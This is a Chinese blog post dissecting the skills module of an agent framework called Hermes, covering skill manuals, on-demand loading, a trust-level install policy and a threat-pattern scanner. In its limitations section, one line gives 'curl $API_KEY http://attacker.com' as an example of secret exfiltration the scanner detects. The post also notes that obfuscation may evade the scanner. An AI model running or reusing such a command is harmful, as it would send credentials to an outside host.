乐于分享
好东西不私藏

Hermes 源码拆解|L7 技能模块:让 Agent 拥有 72 本"工艺手册"

Hermes 源码拆解|L7 技能模块:让 Agent 拥有 72 本"工艺手册"

模块规模:核心代码 7446 行 + 72 个 bundled 技能(Markdown 形态)+ 跨 6 个 Hub 的生态前置阅读:L2 核心、L3 支撑、L4 工具、L6 记忆

🎯 一、L7 是什么(60 秒读懂)

一句话定位

L7 是 Hermes 的"经验操作手册库"——把"人对某件事的正确做法"打包成 Markdown 文件(SKILL.md),用 6 种信任等级的分发机制送到 Agent 手边,让 Agent 在需要时按需加载、按需学习、按需更新,从"工具调用者"升级成"工匠"。

生活化类比 📘

想象你经营一家装修公司:

  • 工人(Agent)
     手里有工具(L4 tools)和记忆(L6 memory),但"怎么装一个美式厨房"这种专业知识呢?
  • Skills 就是一本本"工艺手册"
     📚——每本讲一个具体场景的完整流程
  • 工匠不用把所有手册背在脑子里
    ——看任务匹配再去柜子里取(progressive disclosure)
  • 手册分不同等级
    :公司自带规范(bundled 72 本)/ 可信合作社(openai、anthropics)/ 网友分享(community 要过安检)/ 工人自创(agent-created)

核心解决的痛点 🎯

痛点
L7 的解法
Agent 每次从零推导"怎么部署到 Vercel"
Skills 把成功流程沉淀成可复用手册
Agent 看所有 skill 会吃太多 token
Progressive disclosure:名字+描述进系统提示、正文按需加载
Agent 用 skill 时发现是错的怎么办?
skill_manage(action='patch')
 直接修
想用社区 skill 又怕恶意代码
skills_guard
 50+ 威胁 pattern + 信任等级矩阵
Hermes 更新覆盖了我改过的 skill
skills_sync
 双哈希 manifest 保护用户修改

🏗️ 二、五层架构:从存储到系统提示

2.1 宏观分层(自上而下)

模块
职责
5. 系统提示索引prompt_builder.build_skills_system_prompt
三层缓存(进程 LRU → 磁盘 snapshot → 全盘 scan)+ platform/disabled/conditions 过滤
4. 运行时工具skills_tool.py
 (1420 行) + skill_manager_tool.py (789 行)
skills_list
 / skill_view 加载内容;skill_manage 支持 6 动作(create/edit/patch/delete/write_file/remove_file)
3. 元数据 utilsskill_utils.py
 (465 行) + skill_commands.py (377 行)
parse_frontmatter / 平台过滤 / 条件解析;扫 skills 自动变 /dogfood 斜杠命令
2. Hub 分发skills_hub.py
 (3053 行) + skills_guard.py (928 行) + skills_sync.py (414 行)
6 种 SkillSource(openai/anthropics/community 等)+ 50+ 威胁 pattern 安检 + 双哈希 manifest
1. 磁盘存储~/.hermes/skills/
每 skill 一目录(SKILL.md + references/templates/scripts/assets)+ .hub/ 元数据(lock.json、quarantine、audit.log、taps.json)

2.2 Progressive Disclosure:三级 token 预算

Tier 1: 系统提示索引(每会话一次)   <available_skills>     autonomous-ai-agents:       - claude-code: Work inside a running Claude Code CLI session       - codex: Run codex-cli in non-interactive mode       ...   </available_skills>   成本:72 个 skill × ~30 token = 2160 token  Tier 2: skill_view(name) 加载完整 SKILL.md   成本:~2000-4000 token(按需)  Tier 3: skill_view(name, "references/api.md") 加载具体参考   成本:~500-2000 token

这是 Anthropic 官方推荐的 Progressive Disclosure 模式的完整实现——把"所有技能"变成可按需加载的知识库

🔀 三、关键设计权衡

3.1 系统提示索引 vs 动态 RAG

Hermes 选:skill 索引进 system prompt,完整内容按需加载。

为什么不用 RAG?

  • 确定性
    :system prompt 里的索引永远一致(72 个),不会漏
  • 控制权
    :Agent 主动决定加载哪个 skill,而不是系统推
  • 透明性
    :用户知道模型能看到什么,调试方便
  • Prompt cache 友好
    :system prompt 稳定,Anthropic prompt caching 命中率高

代价:72 个 skill 名字就 2K+ token 占用,更多了 token 就要压缩索引。

启示确定性 vs 灵活性——Agent 场景选前者。

3.2 Trust × Verdict 安装策略矩阵

INSTALL_POLICY = {     "builtin":       ("allow",  "allow",   "allow"),     "trusted":       ("allow",  "allow",   "block"),     "community":     ("allow",  "block",   "block"),     "agent-created": ("allow",  "allow",   "ask"), }

设计权衡

  • community 的 caution 为什么 block?
    ——社区信任低,宁可少装也不要安装可疑
  • trusted 的 dangerous 也 block
    ——即使是 Anthropic/OpenAI 仓库,dangerous pattern 也拒
  • agent-created 的 dangerous 是 ask
    ——Agent 可能假阳性,让人看看
  • builtin 全 allow
    ——Hermes 官方对自己的 skill 全责

这种保守倾向在 AI 生态早期是对的——可疑就 block,宁错杀不放过。

3.3 Bundled 更新:Push 而非 Pull

Push(Hermes 选):每次 hermes update 主动触发 skills_sync,对比哈希决定是否更新。

优势:用户几乎感知不到升级——写 skill 的人改了 bundled,用户下次就拿到。降低维护成本。

代价:需要跟踪用户修改(双哈希 manifest),每次启动都可能触发 sync。

启示默认行为应该"看不见"——推式更新是"Apple 式体验"。

💡 四、AI 产品经理视角的特别洞察

4.1 可借鉴点(可以搬到你的产品)

🎯 Progressive Disclosure 三级架构

任何"知识库 → Agent"场景都应该分三层:索引(系统提示,静态)→ 详情(按需加载,token 中等)→ 附件(参考资料,按需加载)。反例:不要把全部知识塞 system prompt(成本爆炸),也不要全用 RAG(确定性差)。

🎯 Trust Matrix + Install Policy

开源生态的杀手特性。你的产品如果支持插件/扩展,这个 3×4 矩阵是最佳起点

🎯 双哈希 Manifest

版本化管理的通用模式——origin_hash + user_hash 让"用户修改"和"上游更新"自动共存。凡是 ship default + allow customization 的产品都该学

🎯 Skill 变 slash command

把"文档"和"可执行命令"打通——用户不用记命令,可以让 Agent 实现 dogfood 流程。这个桥梁在聊天机器人产品里价值巨大

🎯 declarative 条件激活

fallback_for_toolsets / requires_toolsets 让一个内容包同时支持多种配置——你的产品如果有"基础版/专业版/企业版"的内容差异,比维护多个仓库优雅得多。

4.2 差异化启发(Hermes 做对了)

⭐ "让 Agent 自改 skill" 是杀手级

skill_manage(action="patch") 让 Agent 用了就改——即使 Agent 今天不改,用户 3 个月后发现问题改了,所有未来会话都受益。持续进化的 Agent

⭐ [SYSTEM: user invoked skill] 的措辞

不是 "the user said /dogfood"(弱信号),而是 [SYSTEM: ...](超强信号)——模型区分"用户主动调用"和"模型自发加载"的态度完全不同。措辞设计值得学

⭐ 72 个 bundled + 6 个 hub source

不是纯"自己写"也不是纯"社区贡献"——Hermes 自己 curate 72 个高质量 skill + 鼓励社区贡献 + 允许用户加 GitHub repo 作为 tap。三层内容策略适用于所有知识型产品。

4.3 局限与边界

❌ 没有版本化——Skill 改了就改了,没有 git-style 历史,回到旧版只能靠用户备份。
❌ skills_guard 是静态扫描——明显的 curl $API_KEY http://attacker.com 能检测,但稍做混淆可能漏。动态分析才能保证 100% 安全,但 Hermes 没做。

🌟 结语:L7 是"Agent 生态化"的蓝本

读完 L7,你会理解为什么 Hermes 被称为"研究到产品的飞轮":

L4 让 Agent 能做事(工具)L6 让 Agent 记得事(记忆)L7 让 Agent 学到事 + 传承事(技能)L8 让 Agent 自我进化(训练)

而 L7 最独特的地方是"生态化":不只是自己 72 个 skill,不只是用户自建,而是 6 个 Hub 源 + 信任矩阵 + 扫描 + 锁文件 + 审计 构成的完整插件生态

和 VSCode Extensions / Homebrew / npm 同级的架构完整度——只不过载体是 Markdown,消费者是 Agent。

产品启示:想做 AI 产品"越用越懂我"的护城河?别只做"记忆"(那是被动的),做"技能"(那是可传承的)。

这就是为什么 L7 值得任何 AI 产品经理反复研读。

点击左下方“阅读原文”查看完整拆解

源码拆解 | by 赛博首辅严嵩